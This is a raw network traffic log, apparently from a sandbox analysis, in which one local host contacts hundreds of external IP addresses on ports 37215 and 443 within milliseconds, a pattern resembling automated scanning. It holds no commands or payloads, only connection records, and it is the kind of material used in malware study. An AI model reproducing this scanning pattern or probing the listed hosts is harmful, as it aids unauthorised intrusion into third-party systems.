Jan 30, 2025 10:42:58.133471966 CET	37215	38811	156.147.43.14	192.168.2.13
Jan 30, 2025 10:42:58.133475065 CET	38811	37215	192.168.2.13	156.57.48.227
Jan 30, 2025 10:42:58.133476019 CET	38811	37215	192.168.2.13	156.83.132.204
Jan 30, 2025 10:42:58.133476019 CET	38811	37215	192.168.2.13	41.172.194.164
Jan 30, 2025 10:42:58.133481979 CET	37215	38811	197.235.245.207	192.168.2.13
Jan 30, 2025 10:42:58.133482933 CET	38811	37215	192.168.2.13	41.51.2.108
Jan 30, 2025 10:42:58.133482933 CET	38811	37215	192.168.2.13	156.174.189.147
Jan 30, 2025 10:42:58.133490086 CET	38811	37215	192.168.2.13	156.88.215.91
Jan 30, 2025 10:42:58.133492947 CET	38811	37215	192.168.2.13	156.147.43.14
Jan 30, 2025 10:42:58.133508921 CET	37215	38811	41.120.116.182	192.168.2.13
Jan 30, 2025 10:42:58.133517027 CET	38811	37215	192.168.2.13	197.235.245.207
Jan 30, 2025 10:42:58.133518934 CET	37215	38811	197.206.30.240	192.168.2.13
Jan 30, 2025 10:42:58.133518934 CET	38815	443	192.168.2.13	42.99.118.178
Jan 30, 2025 10:42:58.133527040 CET	38815	443	192.168.2.13	2.221.208.191
Jan 30, 2025 10:42:58.133528948 CET	37215	38811	197.33.189.128	192.168.2.13
Jan 30, 2025 10:42:58.133533955 CET	38815	443	192.168.2.13	212.128.65.92
Jan 30, 2025 10:42:58.133542061 CET	37215	38811	41.151.82.237	192.168.2.13
Jan 30, 2025 10:42:58.133543968 CET	38815	443	192.168.2.13	212.170.9.240
Jan 30, 2025 10:42:58.133548975 CET	38811	37215	192.168.2.13	41.120.116.182
Jan 30, 2025 10:42:58.133549929 CET	38811	37215	192.168.2.13	197.206.30.240
Jan 30, 2025 10:42:58.133562088 CET	37215	38811	41.245.70.92	192.168.2.13
Jan 30, 2025 10:42:58.133569002 CET	38815	443	192.168.2.13	202.35.185.183
Jan 30, 2025 10:42:58.133570910 CET	38815	443	192.168.2.13	109.211.190.199
Jan 30, 2025 10:42:58.133572102 CET	38815	443	192.168.2.13	210.1.242.224
Jan 30, 2025 10:42:58.133579016 CET	37215	38811	41.55.114.240	192.168.2.13
Jan 30, 2025 10:42:58.133578062 CET	38811	37215	192.168.2.13	197.33.189.128
Jan 30, 2025 10:42:58.133579969 CET	38811	37215	192.168.2.13	41.151.82.237
Jan 30, 2025 10:42:58.133578062 CET	38815	443	192.168.2.13	210.244.105.189
Jan 30, 2025 10:42:58.133579016 CET	38815	443	192.168.2.13	5.90.23.65
Jan 30, 2025 10:42:58.133589983 CET	37215	38811	197.192.229.216	192.168.2.13
Jan 30, 2025 10:42:58.133593082 CET	38811	37215	192.168.2.13	41.245.70.92
Jan 30, 2025 10:42:58.133599043 CET	37215	38811	197.214.177.249	192.168.2.13
Jan 30, 2025 10:42:58.133604050 CET	38815	443	192.168.2.13	212.157.71.114
Jan 30, 2025 10:42:58.133609056 CET	37215	38811	197.201.27.159	192.168.2.13
Jan 30, 2025 10:42:58.133618116 CET	38815	443	192.168.2.13	212.192.85.118
Jan 30, 2025 10:42:58.133625031 CET	37215	38811	156.145.4.137	192.168.2.13
Jan 30, 2025 10:42:58.133625031 CET	38811	37215	192.168.2.13	41.55.114.240
Jan 30, 2025 10:42:58.133627892 CET	38811	37215	192.168.2.13	197.214.177.249
Jan 30, 2025 10:42:58.133634090 CET	38815	443	192.168.2.13	42.39.33.200
Jan 30, 2025 10:42:58.133635998 CET	37215	38811	156.242.127.244	192.168.2.13
Jan 30, 2025 10:42:58.133634090 CET	38811	37215	192.168.2.13	197.192.229.216
Jan 30, 2025 10:42:58.133646965 CET	37215	38811	156.150.151.144	192.168.2.13
Jan 30, 2025 10:42:58.133652925 CET	38811	37215	192.168.2.13	197.201.27.159
Jan 30, 2025 10:42:58.133656025 CET	37215	38811	41.128.124.14	192.168.2.13
Jan 30, 2025 10:42:58.133661032 CET	38811	37215	192.168.2.13	156.145.4.137
Jan 30, 2025 10:42:58.133665085 CET	38815	443	192.168.2.13	42.116.18.220
Jan 30, 2025 10:42:58.133665085 CET	38815	443	192.168.2.13	148.144.181.23
Jan 30, 2025 10:42:58.133670092 CET	38815	443	192.168.2.13	123.137.166.143
Jan 30, 2025 10:42:58.133675098 CET	38815	443	192.168.2.13	202.173.82.45
Jan 30, 2025 10:42:58.133675098 CET	38811	37215	192.168.2.13	156.242.127.244
Jan 30, 2025 10:42:58.133676052 CET	38815	443	192.168.2.13	210.6.165.151
Jan 30, 2025 10:42:58.133677006 CET	37215	38811	41.164.50.47	192.168.2.13
Jan 30, 2025 10:42:58.133680105 CET	38811	37215	192.168.2.13	156.150.151.144
Jan 30, 2025 10:42:58.133685112 CET	38815	443	192.168.2.13	212.254.138.168
Jan 30, 2025 10:42:58.133687973 CET	38815	443	192.168.2.13	117.131.73.239
Jan 30, 2025 10:42:58.133688927 CET	37215	38811	156.228.254.83	192.168.2.13
Jan 30, 2025 10:42:58.133694887 CET	38815	443	192.168.2.13	37.88.10.72
Jan 30, 2025 10:42:58.133694887 CET	38811	37215	192.168.2.13	41.128.124.14
Jan 30, 2025 10:42:58.133698940 CET	37215	38811	156.99.183.46	192.168.2.13
Jan 30, 2025 10:42:58.133699894 CET	38815	443	192.168.2.13	37.71.70.215
Jan 30, 2025 10:42:58.133701086 CET	38815	443	192.168.2.13	109.102.231.39
Jan 30, 2025 10:42:58.133707047 CET	38811	37215	192.168.2.13	41.164.50.47
Jan 30, 2025 10:42:58.133708954 CET	38815	443	192.168.2.13	42.125.231.121
Jan 30, 2025 10:42:58.133713007 CET	38811	37215	192.168.2.13	156.228.254.83
Jan 30, 2025 10:42:58.133722067 CET	37215	38811	156.203.152.164	192.168.2.13
Jan 30, 2025 10:42:58.133725882 CET	38815	443	192.168.2.13	148.4.64.73
Jan 30, 2025 10:42:58.133730888 CET	37215	38811	41.75.15.221	192.168.2.13
Jan 30, 2025 10:42:58.133738995 CET	38811	37215	192.168.2.13	156.99.183.46
Jan 30, 2025 10:42:58.133747101 CET	38815	443	192.168.2.13	42.183.164.59
Jan 30, 2025 10:42:58.133753061 CET	38815	443	192.168.2.13	148.66.171.56
Jan 30, 2025 10:42:58.133754969 CET	38815	443	192.168.2.13	123.187.229.52
Jan 30, 2025 10:42:58.133759022 CET	38811	37215	192.168.2.13	156.203.152.164
Jan 30, 2025 10:42:58.133763075 CET	38811	37215	192.168.2.13	41.75.15.221
Jan 30, 2025 10:42:58.133768082 CET	38815	443	192.168.2.13	123.171.29.39
Jan 30, 2025 10:42:58.133770943 CET	38815	443	192.168.2.13	123.111.111.35
Jan 30, 2025 10:42:58.133773088 CET	38815	443	192.168.2.13	5.9.61.40
Jan 30, 2025 10:42:58.133790016 CET	38815	443	192.168.2.13	210.5.66.148
Jan 30, 2025 10:42:58.133800983 CET	38815	443	192.168.2.13	5.121.204.55
Jan 30, 2025 10:42:58.133804083 CET	38815	443	192.168.2.13	178.18.186.92
Jan 30, 2025 10:42:58.133806944 CET	38815	443	192.168.2.13	94.32.111.8
Jan 30, 2025 10:42:58.133810997 CET	38815	443	192.168.2.13	2.71.40.190
Jan 30, 2025 10:42:58.133826017 CET	38815	443	192.168.2.13	2.234.97.49
Jan 30, 2025 10:42:58.133831978 CET	38815	443	192.168.2.13	37.77.231.197
Jan 30, 2025 10:42:58.133836985 CET	37215	38811	156.44.49.101	192.168.2.13
Jan 30, 2025 10:42:58.133841991 CET	38815	443	192.168.2.13	5.212.129.85
Jan 30, 2025 10:42:58.133848906 CET	38815	443	192.168.2.13	202.231.176.251
Jan 30, 2025 10:42:58.133850098 CET	38815	443	192.168.2.13	123.105.139.131
Jan 30, 2025 10:42:58.133857965 CET	38815	443	192.168.2.13	118.93.148.194
Jan 30, 2025 10:42:58.133867979 CET	38811	37215	192.168.2.13	156.44.49.101
Jan 30, 2025 10:42:58.133868933 CET	38815	443	192.168.2.13	42.235.62.157
Jan 30, 2025 10:42:58.133876085 CET	38815	443	192.168.2.13	148.223.84.116
Jan 30, 2025 10:42:58.133882999 CET	38815	443	192.168.2.13	202.172.31.158
Jan 30, 2025 10:42:58.133886099 CET	38815	443	192.168.2.13	5.147.245.32
Jan 30, 2025 10:42:58.133892059 CET	37215	38811	41.152.242.36	192.168.2.13
Jan 30, 2025 10:42:58.133903027 CET	37215	38811	197.101.65.97	192.168.2.13
Jan 30, 2025 10:42:58.133903980 CET	38815	443	192.168.2.13	118.248.184.44
Jan 30, 2025 10:42:58.133912086 CET	37215	38811	41.48.195.75	192.168.2.13
Jan 30, 2025 10:42:58.133912086 CET	38815	443	192.168.2.13	94.226.31.37
Jan 30, 2025 10:42:58.133920908 CET	37215	38811	41.151.23.237	192.168.2.13
Jan 30, 2025 10:42:58.133924007 CET	38815	443	192.168.2.13	212.33.20.186
Jan 30, 2025 10:42:58.133927107 CET	38815	443	192.168.2.13	178.1.235.37
Jan 30, 2025 10:42:58.133929968 CET	38811	37215	192.168.2.13	197.101.65.97
Jan 30, 2025 10:42:58.133929968 CET	37215	38811	197.177.245.26	192.168.2.13
Jan 30, 2025 10:42:58.133933067 CET	38811	37215	192.168.2.13	41.152.242.36
Jan 30, 2025 10:42:58.133938074 CET	38815	443	192.168.2.13	37.59.217.106
Jan 30, 2025 10:42:58.133939981 CET	37215	38811	156.84.129.25	192.168.2.13
Jan 30, 2025 10:42:58.133949041 CET	38811	37215	192.168.2.13	41.48.195.75
Jan 30, 2025 10:42:58.133949995 CET	38811	37215	192.168.2.13	41.151.23.237
Jan 30, 2025 10:42:58.133956909 CET	37215	38811	41.1.241.217	192.168.2.13
Jan 30, 2025 10:42:58.133965015 CET	38811	37215	192.168.2.13	197.177.245.26
Jan 30, 2025 10:42:58.133965015 CET	38811	37215	192.168.2.13	156.84.129.25
Jan 30, 2025 10:42:58.133968115 CET	37215	38811	41.183.35.90	192.168.2.13
Jan 30, 2025 10:42:58.133977890 CET	38815	443	192.168.2.13	123.136.233.50
Jan 30, 2025 10:42:58.133980036 CET	37215	38811	41.238.82.48	192.168.2.13
Jan 30, 2025 10:42:58.133991957 CET	38811	37215	192.168.2.13	41.1.241.217
Jan 30, 2025 10:42:58.133991957 CET	37215	38811	197.149.41.180	192.168.2.13
Jan 30, 2025 10:42:58.133996964 CET	38811	37215	192.168.2.13	41.183.35.90
Jan 30, 2025 10:42:58.134006977 CET	37215	38811	156.120.237.146	192.168.2.13
Jan 30, 2025 10:42:58.134010077 CET	38815	443	192.168.2.13	42.229.148.17
Jan 30, 2025 10:42:58.134011030 CET	38815	443	192.168.2.13	79.130.159.176
Jan 30, 2025 10:42:58.134016991 CET	38811	37215	192.168.2.13	41.238.82.48
Jan 30, 2025 10:42:58.134016991 CET	38815	443	192.168.2.13	178.93.208.106
Jan 30, 2025 10:42:58.134021044 CET	38815	443	192.168.2.13	123.144.236.21
Jan 30, 2025 10:42:58.134021044 CET	38815	443	192.168.2.13	117.173.254.219
Jan 30, 2025 10:42:58.134021044 CET	38811	37215	192.168.2.13	197.149.41.180
Jan 30, 2025 10:42:58.134016991 CET	37215	38811	41.230.63.152	192.168.2.13
Jan 30, 2025 10:42:58.134028912 CET	38815	443	192.168.2.13	109.82.252.49
Jan 30, 2025 10:42:58.134032011 CET	38815	443	192.168.2.13	109.108.183.225
Jan 30, 2025 10:42:58.134032011 CET	38815	443	192.168.2.13	109.86.121.38
Jan 30, 2025 10:42:58.134032965 CET	38815	443	192.168.2.13	148.170.44.33
Jan 30, 2025 10:42:58.134041071 CET	38811	37215	192.168.2.13	156.120.237.146
Jan 30, 2025 10:42:58.134041071 CET	38815	443	192.168.2.13	148.130.115.122
Jan 30, 2025 10:42:58.134058952 CET	38811	37215	192.168.2.13	41.230.63.152
Jan 30, 2025 10:42:58.134067059 CET	38815	443	192.168.2.13	94.202.105.82
Jan 30, 2025 10:42:58.134069920 CET	38815	443	192.168.2.13	202.224.160.152
Jan 30, 2025 10:42:58.134080887 CET	38815	443	192.168.2.13	212.176.185.22
Jan 30, 2025 10:42:58.134083033 CET	38815	443	192.168.2.13	202.24.197.241
Jan 30, 2025 10:42:58.134088039 CET	38815	443	192.168.2.13	212.203.115.180
Jan 30, 2025 10:42:58.134090900 CET	38815	443	192.168.2.13	210.184.199.244
Jan 30, 2025 10:42:58.134099960 CET	38815	443	192.168.2.13	42.80.57.75
Jan 30, 2025 10:42:58.134111881 CET	38815	443	192.168.2.13	118.102.148.242
Jan 30, 2025 10:42:58.134121895 CET	38815	443	192.168.2.13	123.216.203.235
Jan 30, 2025 10:42:58.134124994 CET	38815	443	192.168.2.13	123.214.119.219
Jan 30, 2025 10:42:58.134135008 CET	38815	443	192.168.2.13	37.156.189.196
Jan 30, 2025 10:42:58.134135008 CET	38815	443	192.168.2.13	210.83.11.200
Jan 30, 2025 10:42:58.134140968 CET	38815	443	192.168.2.13	79.37.48.162
Jan 30, 2025 10:42:58.134140968 CET	38815	443	192.168.2.13	94.189.175.102
Jan 30, 2025 10:42:58.134140968 CET	38815	443	192.168.2.13	37.196.156.142
Jan 30, 2025 10:42:58.134166002 CET	38815	443	192.168.2.13	178.139.59.51
Jan 30, 2025 10:42:58.134174109 CET	38815	443	192.168.2.13	202.125.5.30
Jan 30, 2025 10:42:58.134207964 CET	38815	443	192.168.2.13	178.149.215.16
Jan 30, 2025 10:42:58.134207964 CET	38815	443	192.168.2.13	5.125.165.174
Jan 30, 2025 10:42:58.134208918 CET	38815	443	192.168.2.13	212.249.199.121
Jan 30, 2025 10:42:58.134210110 CET	38815	443	192.168.2.13	210.156.225.196
Jan 30, 2025 10:42:58.134212971 CET	38815	443	192.168.2.13	178.107.62.246
Jan 30, 2025 10:42:58.134215117 CET	38815	443	192.168.2.13	94.198.139.96
Jan 30, 2025 10:42:58.134215117 CET	38815	443	192.168.2.13	148.221.170.234
Jan 30, 2025 10:42:58.134215117 CET	38815	443	192.168.2.13	212.208.104.176
Jan 30, 2025 10:42:58.134239912 CET	38815	443	192.168.2.13	5.233.238.96
Jan 30, 2025 10:42:58.134239912 CET	38815	443	192.168.2.13	79.78.95.62
Jan 30, 2025 10:42:58.134242058 CET	38815	443	192.168.2.13	37.61.254.81
Jan 30, 2025 10:42:58.134242058 CET	38815	443	192.168.2.13	117.252.188.128
Jan 30, 2025 10:42:58.134243011 CET	38815	443	192.168.2.13	117.143.128.93
Jan 30, 2025 10:42:58.134243011 CET	38815	443	192.168.2.13	123.232.118.252
Jan 30, 2025 10:42:58.134242058 CET	38815	443	192.168.2.13	118.78.33.222
Jan 30, 2025 10:42:58.134244919 CET	38815	443	192.168.2.13	123.239.134.78
Jan 30, 2025 10:42:58.134244919 CET	38815	443	192.168.2.13	79.96.187.18
Jan 30, 2025 10:42:58.134244919 CET	38815	443	192.168.2.13	178.222.245.159
Jan 30, 2025 10:42:58.134249926 CET	38815	443	192.168.2.13	109.74.156.175
Jan 30, 2025 10:42:58.134249926 CET	38815	443	192.168.2.13	117.48.204.249
Jan 30, 2025 10:42:58.134251118 CET	38815	443	192.168.2.13	212.180.188.24
Jan 30, 2025 10:42:58.134255886 CET	38815	443	192.168.2.13	148.151.244.166
Jan 30, 2025 10:42:58.134263992 CET	38815	443	192.168.2.13	123.225.239.85
Jan 30, 2025 10:42:58.134263992 CET	38815	443	192.168.2.13	5.31.188.242
Jan 30, 2025 10:42:58.134263992 CET	38815	443	192.168.2.13	2.100.78.34
Jan 30, 2025 10:42:58.134263992 CET	38815	443	192.168.2.13	202.219.177.122
Jan 30, 2025 10:42:58.134263992 CET	38815	443	192.168.2.13	212.0.91.3
Jan 30, 2025 10:42:58.134263992 CET	38815	443	192.168.2.13	2.42.195.140
Jan 30, 2025 10:42:58.134263992 CET	38815	443	192.168.2.13	123.108.107.250
Jan 30, 2025 10:42:58.134264946 CET	38815	443	192.168.2.13	178.53.5.225
Jan 30, 2025 10:42:58.134274006 CET	38815	443	192.168.2.13	42.252.125.184
Jan 30, 2025 10:42:58.134274006 CET	38815	443	192.168.2.13	79.131.4.247
Jan 30, 2025 10:42:58.134290934 CET	38815	443	192.168.2.13	109.169.125.164
Jan 30, 2025 10:42:58.134290934 CET	38815	443	192.168.2.13	212.42.129.206
Jan 30, 2025 10:42:58.134293079 CET	38815	443	192.168.2.13	2.19.166.68
Jan 30, 2025 10:42:58.134293079 CET	38815	443	192.168.2.13	109.25.140.19
Jan 30, 2025 10:42:58.134294033 CET	38815	443	192.168.2.13	109.160.12.151
Jan 30, 2025 10:42:58.134294033 CET	38815	443	192.168.2.13	123.238.30.88
Jan 30, 2025 10:42:58.134294033 CET	38815	443	192.168.2.13	117.118.142.252
Jan 30, 2025 10:42:58.134294033 CET	38815	443	192.168.2.13	123.96.204.53
Jan 30, 2025 10:42:58.134294033 CET	38815	443	192.168.2.13	5.220.236.180
Jan 30, 2025 10:42:58.134296894 CET	38815	443	192.168.2.13	210.163.59.92
Jan 30, 2025 10:42:58.134295940 CET	38815	443	192.168.2.13	210.186.15.198
Jan 30, 2025 10:42:58.134296894 CET	38815	443	192.168.2.13	210.219.8.25
Jan 30, 2025 10:42:58.134294033 CET	38815	443	192.168.2.13	37.245.192.123
Jan 30, 2025 10:42:58.134296894 CET	38815	443	192.168.2.13	202.101.132.15
Jan 30, 2025 10:42:58.134295940 CET	38815	443	192.168.2.13	37.237.124.101
Jan 30, 2025 10:42:58.134295940 CET	38815	443	192.168.2.13	118.247.24.200
Jan 30, 2025 10:42:58.134295940 CET	38815	443	192.168.2.13	79.158.162.184
Jan 30, 2025 10:42:58.134295940 CET	38815	443	192.168.2.13	117.32.59.116
Jan 30, 2025 10:42:58.134305954 CET	38815	443	192.168.2.13	123.117.115.147
Jan 30, 2025 10:42:58.134305954 CET	38815	443	192.168.2.13	178.2.95.37
Jan 30, 2025 10:42:58.134309053 CET	37215	38811	156.241.190.81	192.168.2.13
Jan 30, 2025 10:42:58.134305954 CET	38815	443	192.168.2.13	2.128.164.171
Jan 30, 2025 10:42:58.134305954 CET	38815	443	192.168.2.13	212.62.237.64
Jan 30, 2025 10:42:58.134315014 CET	38815	443	192.168.2.13	42.241.87.4
Jan 30, 2025 10:42:58.134315014 CET	38815	443	192.168.2.13	2.60.229.73
Jan 30, 2025 10:42:58.134315014 CET	38815	443	192.168.2.13	2.184.102.35
Jan 30, 2025 10:42:58.134319067 CET	37215	38811	156.47.4.229	192.168.2.13
Jan 30, 2025 10:42:58.134326935 CET	38815	443	192.168.2.13	94.240.230.99
Jan 30, 2025 10:42:58.134326935 CET	38815	443	192.168.2.13	109.143.0.146
Jan 30, 2025 10:42:58.134327888 CET	38815	443	192.168.2.13	178.172.218.138
Jan 30, 2025 10:42:58.134327888 CET	38815	443	192.168.2.13	79.126.218.135
Jan 30, 2025 10:42:58.134327888 CET	38815	443	192.168.2.13	2.253.95.175
Jan 30, 2025 10:42:58.134327888 CET	38815	443	192.168.2.13	148.122.79.41
Jan 30, 2025 10:42:58.134330988 CET	38815	443	192.168.2.13	109.229.25.68
Jan 30, 2025 10:42:58.134330988 CET	38815	443	192.168.2.13	178.19.130.219
Jan 30, 2025 10:42:58.134330988 CET	38815	443	192.168.2.13	117.88.193.146
Jan 30, 2025 10:42:58.134330988 CET	38815	443	192.168.2.13	210.67.249.165
Jan 30, 2025 10:42:58.134331942 CET	38815	443	192.168.2.13	79.70.211.84
Jan 30, 2025 10:42:58.134334087 CET	38815	443	192.168.2.13	37.37.40.154
Jan 30, 2025 10:42:58.134330988 CET	38815	443	192.168.2.13	123.59.105.103
Jan 30, 2025 10:42:58.134334087 CET	38815	443	192.168.2.13	5.90.93.157
Jan 30, 2025 10:42:58.134330988 CET	38815	443	192.168.2.13	94.137.34.235
Jan 30, 2025 10:42:58.134334087 CET	38815	443	192.168.2.13	37.62.176.51
Jan 30, 2025 10:42:58.134339094 CET	37215	38811	41.251.95.38	192.168.2.13
Jan 30, 2025 10:42:58.134330988 CET	38815	443	192.168.2.13	5.60.151.3
Jan 30, 2025 10:42:58.134339094 CET	38815	443	192.168.2.13	202.80.6.132
Jan 30, 2025 10:42:58.134339094 CET	38815	443	192.168.2.13	2.124.191.108
Jan 30, 2025 10:42:58.134351015 CET	37215	38811	197.212.104.162	192.168.2.13
Jan 30, 2025 10:42:58.134358883 CET	38815	443	192.168.2.13	117.147.200.214
Jan 30, 2025 10:42:58.134358883 CET	38815	443	192.168.2.13	2.126.123.111
Jan 30, 2025 10:42:58.134358883 CET	38815	443	192.168.2.13	210.162.60.211
Jan 30, 2025 10:42:58.134360075 CET	38815	443	192.168.2.13	117.101.145.247
Jan 30, 2025 10:42:58.134360075 CET	38815	443	192.168.2.13	118.101.223.247
Jan 30, 2025 10:42:58.134360075 CET	38815	443	192.168.2.13	109.70.52.94
Jan 30, 2025 10:42:58.134361982 CET	38815	443	192.168.2.13	2.27.115.163
Jan 30, 2025 10:42:58.134361982 CET	38815	443	192.168.2.13	94.243.237.158
Jan 30, 2025 10:42:58.134365082 CET	38815	443	192.168.2.13	37.156.223.66
Jan 30, 2025 10:42:58.134365082 CET	38815	443	192.168.2.13	118.244.70.12
Jan 30, 2025 10:42:58.134366989 CET	38815	443	192.168.2.13	178.51.100.201
Jan 30, 2025 10:42:58.134366989 CET	38815	443	192.168.2.13	118.116.242.201
Jan 30, 2025 10:42:58.134366989 CET	38815	443	192.168.2.13	5.225.149.137
Jan 30, 2025 10:42:58.134366989 CET	38815	443	192.168.2.13	210.107.163.207
Jan 30, 2025 10:42:58.134367943 CET	38815	443	192.168.2.13	5.223.109.62
Jan 30, 2025 10:42:58.134367943 CET	38815	443	192.168.2.13	123.49.212.63
Jan 30, 2025 10:42:58.134371042 CET	37215	38811	197.252.199.75	192.168.2.13
Jan 30, 2025 10:42:58.134371042 CET	38815	443	192.168.2.13	117.116.83.165
Jan 30, 2025 10:42:58.134370089 CET	38815	443	192.168.2.13	202.46.138.152
Jan 30, 2025 10:42:58.134371042 CET	38815	443	192.168.2.13	5.183.124.172
Jan 30, 2025 10:42:58.134367943 CET	38815	443	192.168.2.13	42.65.192.63
Jan 30, 2025 10:42:58.134371042 CET	38815	443	192.168.2.13	202.114.52.217
Jan 30, 2025 10:42:58.134368896 CET	38811	37215	192.168.2.13	156.241.190.81
Jan 30, 2025 10:42:58.134381056 CET	38815	443	192.168.2.13	42.153.112.119
Jan 30, 2025 10:42:58.134382010 CET	38815	443	192.168.2.13	123.176.11.226
Jan 30, 2025 10:42:58.134382963 CET	38811	37215	192.168.2.13	156.47.4.229
Jan 30, 2025 10:42:58.134382010 CET	38815	443	192.168.2.13	212.183.240.112
Jan 30, 2025 10:42:58.134383917 CET	38815	443	192.168.2.13	210.12.171.165
Jan 30, 2025 10:42:58.134388924 CET	38815	443	192.168.2.13	123.200.173.37
Jan 30, 2025 10:42:58.134392023 CET	38815	443	192.168.2.13	37.27.170.4
Jan 30, 2025 10:42:58.134392977 CET	38815	443	192.168.2.13	123.164.12.37
Jan 30, 2025 10:42:58.134393930 CET	38811	37215	192.168.2.13	197.212.104.162
Jan 30, 2025 10:42:58.134398937 CET	38811	37215	192.168.2.13	41.251.95.38
Jan 30, 2025 10:42:58.134402990 CET	38815	443	192.168.2.13	148.94.27.33
Jan 30, 2025 10:42:58.134411097 CET	38815	443	192.168.2.13	109.6.151.8
Jan 30, 2025 10:42:58.134411097 CET	38811	37215	192.168.2.13	197.252.199.75
Jan 30, 2025 10:42:58.134423018 CET	37215	38811	156.202.58.220	192.168.2.13
Jan 30, 2025 10:42:58.134432077 CET	37215	38811	41.171.95.86	192.168.2.13
Jan 30, 2025 10:42:58.134438992 CET	38815	443	192.168.2.13	123.146.124.47
Jan 30, 2025 10:42:58.134445906 CET	37215	38811	41.179.94.127	192.168.2.13
Jan 30, 2025 10:42:58.134449005 CET	38815	443	192.168.2.13	94.9.128.92
Jan 30, 2025 10:42:58.134455919 CET	37215	38811	41.208.171.101	192.168.2.13
Jan 30, 2025 10:42:58.134455919 CET	38811	37215	192.168.2.13	41.171.95.86
Jan 30, 2025 10:42:58.134462118 CET	38815	443	192.168.2.13	148.106.141.64
Jan 30, 2025 10:42:58.134462118 CET	38815	443	192.168.2.13	42.139.174.7
Jan 30, 2025 10:42:58.134464025 CET	38815	443	192.168.2.13	118.143.6.231
Jan 30, 2025 10:42:58.134464979 CET	37215	38811	156.239.193.210	192.168.2.13
Jan 30, 2025 10:42:58.134474039 CET	38815	443	192.168.2.13	202.97.36.135
Jan 30, 2025 10:42:58.134474993 CET	37215	38811	156.74.126.244	192.168.2.13
Jan 30, 2025 10:42:58.134474039 CET	38815	443	192.168.2.13	109.69.178.246
Jan 30, 2025 10:42:58.134475946 CET	38811	37215	192.168.2.13	156.202.58.220
Jan 30, 2025 10:42:58.134475946 CET	38815	443	192.168.2.13	2.234.187.20
Jan 30, 2025 10:42:58.134475946 CET	38815	443	192.168.2.13	5.55.251.69
Jan 30, 2025 10:42:58.134480000 CET	38815	443	192.168.2.13	123.232.162.144
Jan 30, 2025 10:42:58.134484053 CET	38811	37215	192.168.2.13	41.208.171.101
Jan 30, 2025 10:42:58.134484053 CET	38811	37215	192.168.2.13	41.179.94.127
Jan 30, 2025 10:42:58.134493113 CET	37215	38811	41.156.55.24	192.168.2.13
Jan 30, 2025 10:42:58.134494066 CET	38811	37215	192.168.2.13	156.239.193.210
Jan 30, 2025 10:42:58.134495020 CET	38815	443	192.168.2.13	5.236.6.86
Jan 30, 2025 10:42:58.134495020 CET	38815	443	192.168.2.13	212.147.100.248
Jan 30, 2025 10:42:58.134500980 CET	38811	37215	192.168.2.13	156.74.126.244
Jan 30, 2025 10:42:58.134504080 CET	37215	38811	197.115.208.67	192.168.2.13
Jan 30, 2025 10:42:58.134514093 CET	38815	443	192.168.2.13	2.62.55.139
Jan 30, 2025 10:42:58.134516001 CET	38815	443	192.168.2.13	79.12.149.16
Jan 30, 2025 10:42:58.134525061 CET	37215	38811	41.109.11.19	192.168.2.13
Jan 30, 2025 10:42:58.134525061 CET	38811	37215	192.168.2.13	41.156.55.24
Jan 30, 2025 10:42:58.134533882 CET	38811	37215	192.168.2.13	197.115.208.67
Jan 30, 2025 10:42:58.134535074 CET	37215	38811	197.180.125.52	192.168.2.13
Jan 30, 2025 10:42:58.134552002 CET	37215	38811	41.30.58.84	192.168.2.13
Jan 30, 2025 10:42:58.134560108 CET	37215	38811	197.230.126.148	192.168.2.13
Jan 30, 2025 10:42:58.134567976 CET	38811	37215	192.168.2.13	41.109.11.19
Jan 30, 2025 10:42:58.134569883 CET	37215	38811	197.115.221.178	192.168.2.13
Jan 30, 2025 10:42:58.134572029 CET	38811	37215	192.168.2.13	197.180.125.52
Jan 30, 2025 10:42:58.134579897 CET	38811	37215	192.168.2.13	41.30.58.84
Jan 30, 2025 10:42:58.134583950 CET	37215	38811	156.196.76.162	192.168.2.13
Jan 30, 2025 10:42:58.134587049 CET	38811	37215	192.168.2.13	197.230.126.148
Jan 30, 2025 10:42:58.134588957 CET	38815	443	192.168.2.13	94.113.50.64
Jan 30, 2025 10:42:58.134597063 CET	37215	38811	197.26.40.102	192.168.2.13
Jan 30, 2025 10:42:58.134598970 CET	38811	37215	192.168.2.13	197.115.221.178
Jan 30, 2025 10:42:58.134622097 CET	38811	37215	192.168.2.13	156.196.76.162
Jan 30, 2025 10:42:58.134623051 CET	38815	443	192.168.2.13	79.41.110.24
Jan 30, 2025 10:42:58.134628057 CET	38811	37215	192.168.2.13	197.26.40.102
Jan 30, 2025 10:42:58.134628057 CET	38815	443	192.168.2.13	42.64.28.250
Jan 30, 2025 10:42:58.134633064 CET	38815	443	192.168.2.13	212.246.184.108
Jan 30, 2025 10:42:58.134633064 CET	38815	443	192.168.2.13	202.180.61.152
Jan 30, 2025 10:42:58.134653091 CET	38815	443	192.168.2.13	42.2.68.105
Jan 30, 2025 10:42:58.134654999 CET	38815	443	192.168.2.13	212.131.230.106
Jan 30, 2025 10:42:58.134656906 CET	38815	443	192.168.2.13	117.33.234.90
Jan 30, 2025 10:42:58.134684086 CET	38815	443	192.168.2.13	210.31.200.239
Jan 30, 2025 10:42:58.134684086 CET	38815	443	192.168.2.13	42.122.93.184
Jan 30, 2025 10:42:58.134689093 CET	38815	443	192.168.2.13	202.214.117.63
Jan 30, 2025 10:42:58.134694099 CET	38815	443	192.168.2.13	118.220.115.92
Jan 30, 2025 10:42:58.134708881 CET	38815	443	192.168.2.13	148.98.92.186
Jan 30, 2025 10:42:58.134720087 CET	38815	443	192.168.2.13	178.151.146.3
Jan 30, 2025 10:42:58.134720087 CET	38815	443	192.168.2.13	210.112.181.164
Jan 30, 2025 10:42:58.134728909 CET	38815	443	192.168.2.13	2.189.106.220
Jan 30, 2025 10:42:58.134744883 CET	38815	443	192.168.2.13	148.73.33.127
Jan 30, 2025 10:42:58.134746075 CET	38815	443	192.168.2.13	212.227.114.159
Jan 30, 2025 10:42:58.134746075 CET	38815	443	192.168.2.13	2.90.189.181
Jan 30, 2025 10:42:58.134764910 CET	38815	443	192.168.2.13	148.71.97.87
Jan 30, 2025 10:42:58.134768963 CET	38815	443	192.168.2.13	123.172.237.102
Jan 30, 2025 10:42:58.134782076 CET	38815	443	192.168.2.13	123.208.182.58
Jan 30, 2025 10:42:58.134782076 CET	38815	443	192.168.2.13	148.192.56.192
Jan 30, 2025 10:42:58.134782076 CET	38815	443	192.168.2.13	42.104.140.31
Jan 30, 2025 10:42:58.134782076 CET	38815	443	192.168.2.13	178.82.32.77
Jan 30, 2025 10:42:58.134792089 CET	38815	443	192.168.2.13	109.230.48.179
Jan 30, 2025 10:42:58.134793043 CET	38815	443	192.168.2.13	123.102.166.193
Jan 30, 2025 10:42:58.134803057 CET	38815	443	192.168.2.13	37.84.195.50
